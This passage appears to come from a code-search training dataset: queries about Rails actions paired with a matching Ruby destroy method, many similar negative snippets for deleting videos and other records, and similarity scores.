"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end"
] | [
"0.7424246",
"0.7119715",
"0.7058636",
"0.69604856",
"0.69604856",
"0.693999",
"0.6919837",
"0.6919837",
"0.6919837",
"0.6919837",
"0.6919837",
"0.6919837",
"0.6919837",
"0.6880118",
"0.68631864",
"0.6855068",
"0.6789322",
"0.67666703",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.6766564",
"0.67658085",
"0.6701562",
"0.6701562",
"0.6701562",
"0.6701562",
"0.6701562",
"0.6697805",
"0.66738683",
"0.6664349",
"0.6660069",
"0.6645053",
"0.66141695",
"0.66141695",
"0.66039777",
"0.6589493",
"0.6569275",
"0.65451825",
"0.65205723",
"0.6513818",
"0.65117395",
"0.64995116",
"0.6492499",
"0.64769304",
"0.64438623",
"0.643916",
"0.6433108",
"0.641718",
"0.6392529",
"0.6392517",
"0.63883364",
"0.63883364",
"0.63883364",
"0.6379712",
"0.6374859",
"0.63621634",
"0.63540894",
"0.6339255",
"0.63297415",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216",
"0.63282216"
] | 0.64547807 | 54 |
DELETE /videos/1 DELETE /videos/1.json | def destroy
@video = Video.find(params[:id])
@video.destroy
respond_to do |format|
format.html { redirect_to videos_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n s3 = $S3\n bucket = s3.buckets['tubeyou.video']\n bucket.objects[@video.name].delete\n\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n render json: @video, :status => :ok\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to media_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Deleted video listing.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to today_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to user_videos_url(current_user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n Video.find(params[:id]).destroy\n redirect_to \"/videos\"\n end",
"def destroy\n @video = Video.find_by_hash_permalink_id(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video excluido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video fue eliminado correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_video }\n end\n end",
"def destroy\n @c_video = CVideo.find(params[:id])\n @c_video.destroy\n\n respond_to do |format|\n format.html { redirect_to c_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @video = Video.find(params[:id])\r\n @video.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(videos_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @video = @user.videos.find(params[:id])\n @video.destroy\n respond_to do |format|\n format.html { redirect_to user_videos_url(@user), notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Vídeo deletado com sucesso' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to project_videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_video(video_id, method = HTTP_DELETE)\n if method == HTTP_DELETE\n auth_connection method, \"/api/videos/#{video_id}.xml\"\n else\n request_xml = %{\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <vzaar-api>\n <_method>delete</_method>\n </vzaar-api>\n }\n auth_connection method, \"/api/videos/#{video_id}.xml\", request_xml\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to home_admin_path, notice: '视频删除成功!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n render nothing: true, status: 200\n end",
"def destroy\n @user_video = UserVideo.find(params[:id])\n @user_video.destroy\n\n respond_to do |format|\n format.html { redirect_to user_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adm_video.destroy\n respond_to do |format|\n format.html { redirect_to adm_videos_url, notice: t('videos.destroy_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @record_video = RecordVideo.find(params[:id])\n @record_video.destroy\n\n respond_to do |format|\n format.html { redirect_to record_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_video = RawVideo.find(params[:id])\n @raw_video.destroy\n\n respond_to do |format|\n format.html { redirect_to(raw_videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to channel_videos_url }\n end\n end",
"def destroy\n authorize! :destroy, @admin_video\n @admin_video.destroy\n respond_to do |format|\n format.html { redirect_to admin_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to @competition, notice: 'Video eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medio_video.destroy\n respond_to do |format|\n format.html { redirect_to medio_videos_url, notice: 'Medio video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n redirect_to '/lifts', notice: \"video deleted\"\n end",
"def destroy\n @kuaibovideo = Kuaibovideo.find(params[:id])\n @kuaibovideo.destroy\n\n respond_to do |format|\n format.html { redirect_to kuaibovideos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@video = Video.find(params[:id])\n\t\t@video.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(videos_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to ({:action => \"index\", :palestrante_id => @palestrante.id}) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @teach_video = TeachVideo.find(params[:id])\n @teach_video.destroy\n\n respond_to do |format|\n format.html { redirect_to teach_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videoo.destroy\n respond_to do |format|\n format.html { redirect_to videoos_url, notice: 'Videoo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_video.destroy\n respond_to do |format|\n format.html { redirect_to saved_videos_url, notice: 'Saved video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n\tif @video.user == current_user or user_type == 'admin' or user_type == 'super_admin'\n\t\t@video.destroy\n\n\t\trespond_to do |format|\n\t\t format.html { redirect_to videos_url }\n\t\t format.json { head :no_content }\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def destroy\n # @video = Video.find(params[:id])\n @video = current_user.videos.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to profile_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to boards_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @traditional_route_video.destroy\n respond_to do |format|\n format.html { redirect_to traditional_route_videos_url, notice: 'Traditional route video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, @videos\n Video.find(params[:id]).destroy\n redirect_to admin_videos_path\n \n end",
"def destroy\n\n\n @project = Project.user_editable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.find(params[:id])\n @video.image.destroy\n\n if @video.destroy\n respond_to do |format|\n format.json { render :json => [:id=>@video.id], :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render :json => @video.errors, :status => :unprocessable_entity }\n end\n\n end\n\n else\n not_authorized\n end\n\n end",
"def destroy\n verify_access_video(@video_clip, 'delete')\n @video_clip.destroy\n respond_to do |format|\n format.html { redirect_to video_clips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @original_video = @video.panda_video\n @original_video.delete\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def deleteEntityVideo( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/video\",params)\n end",
"def destroy\n @table_video.destroy\n respond_to do |format|\n format.html { redirect_to table_videos_url, notice: 'Table video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videofile = Videofile.find(params[:id])\n @videofile.destroy\n\n respond_to do |format|\n format.html { redirect_to(videofiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video_on_main_page.destroy\n respond_to do |format|\n format.html { redirect_to video_on_main_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sequence = Sequence.find(params[:id])\n puts @sequence.video.title\n @video=@sequence.video\n @sequence.destroy\n\n respond_to do |format|\n format.html { redirect_to(script_videos_path(:id=>@sequence.video_id), :notice => 'Sequence deleted.') }\n format.js { render :nothing => true }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game_video.destroy\n respond_to do |format|\n format.html { redirect_to game_videos_url, notice: 'Game video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videogame.destroy\n respond_to do |format|\n format.html { redirect_to videogames_url, notice: 'Videogame was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videogame.destroy\n respond_to do |format|\n format.html { redirect_to videogames_url, notice: \"Videogame was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n deleted_url = @localvdo.video.url \n vdo_obj = Video.where(local_link: deleted_url).all\n vdo_obj.each do |vdo|\n vdo.inLocal = false\n vdo.local_link = \"\"\n vdo.save!\n end\n @localvdo.destroy\n @user = User.find(session[:user_id])\n respond_to do |format|\n format.html { redirect_to @user }\n format.json { head :no_content }\n end\n end",
"def destroy\n @help_video.destroy\n respond_to do |format|\n format.html { redirect_to help_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jeux_video.create_activity :destroy, owner: current_user, read: false\n @jeux_video.destroy\n respond_to do |format|\n format.html { redirect_to jeux_videos_url, notice: 'Jeux video was successfully destroyed.' }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n end",
"def deletevideos\n @video = params[:records]\n @video.each do |id|\n Video.find_by_id(id).destroy\n end\n redirect_to admin_videos_path\n end",
"def destroy\n if @event.ppts_url\n `rm -rf public/uploads/event/ppts/#{@event.id}`\n end\n if @event.video_url\n `rm -rf public/uploads/event/video/#{@event.id}`\n end\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video_post.destroy\n respond_to do |format|\n format.html { redirect_to video_posts_url, notice: 'Video post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @congratulations_video.destroy\n respond_to do |format|\n format.html { redirect_to congratulations_videos_url, notice: 'Congratulations video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n video = Video.find_by_id params[:id]\n valid_request_object_do(video) do\n if video.can_delete(current_user)\n Video.transaction { video.destroy }\n respond_to do |format|\n format.html { redirect_to videos_path}\n format.js do\n render :update do |page|\n page.remove \"video_div_#{video.id}\"\n end\n end\n end\n else\n render :text => 'Invalid Request', :status => 401\n end\n end\n end",
"def destroy\n @demanda_videomonitoramento.destroy\n respond_to do |format|\n format.html { redirect_to demanda_videomonitoramentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @video = Video.find(params[:id])\r\n # @video.destroy\r\n\r\n @video.is_visible = false\r\n\r\n respond_to do |format|\r\n if @video.save\r\n format.html { redirect_to \"/videos?p=\" + @@ADMIN_PASS }\r\n format.json { render json: {:video => @video.to_json} }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def destroy\n\n @album = Album.find(@video.album_id)\n\n respond_to do |format|\n format.html { redirect_to @album , notice: 'Video eliminado satisfactoriamente.' }\n format.json { head :no_content }\n end\n @video.destroy\n end",
"def destroy\n @tv = Tv.find(params[:id])\n @tv.destroy\n\n respond_to do |format|\n format.html { redirect_to tvs_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7782917",
"0.7782917",
"0.7768144",
"0.7723812",
"0.77067566",
"0.7692495",
"0.7692495",
"0.7692495",
"0.7682142",
"0.7642714",
"0.76279795",
"0.760256",
"0.75952363",
"0.75657415",
"0.7548429",
"0.7516953",
"0.748994",
"0.748994",
"0.748994",
"0.7489848",
"0.7488452",
"0.74875367",
"0.74730885",
"0.74634695",
"0.7463127",
"0.74461323",
"0.7437311",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.74367225",
"0.7430814",
"0.7423683",
"0.741572",
"0.73835933",
"0.7377205",
"0.73459756",
"0.73389447",
"0.7321643",
"0.7309086",
"0.7271707",
"0.72651416",
"0.72456336",
"0.7230261",
"0.72263527",
"0.72244525",
"0.7216788",
"0.7187394",
"0.7185118",
"0.7178374",
"0.71680135",
"0.71647227",
"0.7154998",
"0.7147049",
"0.71416605",
"0.7112199",
"0.7062886",
"0.70598",
"0.7030834",
"0.70303506",
"0.701176",
"0.7007772",
"0.7006937",
"0.70040584",
"0.69920856",
"0.6980929",
"0.69789815",
"0.69669896",
"0.6964624",
"0.6963942",
"0.6962833",
"0.69545406",
"0.6954101",
"0.6948636",
"0.6938994",
"0.69369066",
"0.69312394",
"0.6917392",
"0.68755084",
"0.68713903",
"0.68646866"
] | 0.77617705 | 14 |
Use callbacks to share common setup or constraints between actions. | def set_catalog
@catalog = present(Catalog::Show).model
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
